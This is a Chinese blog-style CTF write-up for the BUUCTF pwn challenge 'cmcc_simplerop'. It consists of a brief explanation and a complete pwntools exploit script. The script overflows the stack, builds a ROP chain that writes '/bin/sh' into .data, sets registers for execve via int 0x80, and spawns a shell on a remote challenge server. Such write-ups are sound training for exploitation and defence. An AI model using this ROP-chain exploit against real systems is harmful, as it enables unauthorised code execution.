[BUUCTF-pwn]——cmcc_simplerop (ropchain)

[BUUCTF-pwn]——cmcc_simplerop

有栈溢出,自己找rop链,最简单的方法,让ROPgadget帮我们弄好呀,可是有点长,所有需要我们修改。毕竟有长度要求。因为“/bin/sh"字符串没有找到,所有这之前的都不动, 下面的pop eax; pop ebx; pop ecx; pop edx除了pop ebx 注意下,其他都可以进行修改 inc就是 ++

在这里插入图片描述

exploit

  • 目的:使得excve("/bin/sh") eax = 0xb; ebx ->"/bin/sh"; ecx = 0; edx = 0
from pwn import *
from struct import pack

context(os='linux',arch='i386',log_level='debug')

#sh = process('./simplerop')
sh = remote("node3.buuoj.cn",28712)

strcmp_got = 0x080EA038
pop_eax = 0x080bae06
pop_edx_ecx_ebx = 0x0806e850
p = 'A' * 32

p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e850) # pop edx ecx ebx
p += p32(0) + p32(0)
p += pack('<I', 0x080ea060) # padding without overwrite ebx

p += pack('<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080493e1) # int 0x80


payload = p
sh.sendafter('Your input :',payload)
sh.interactive()
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值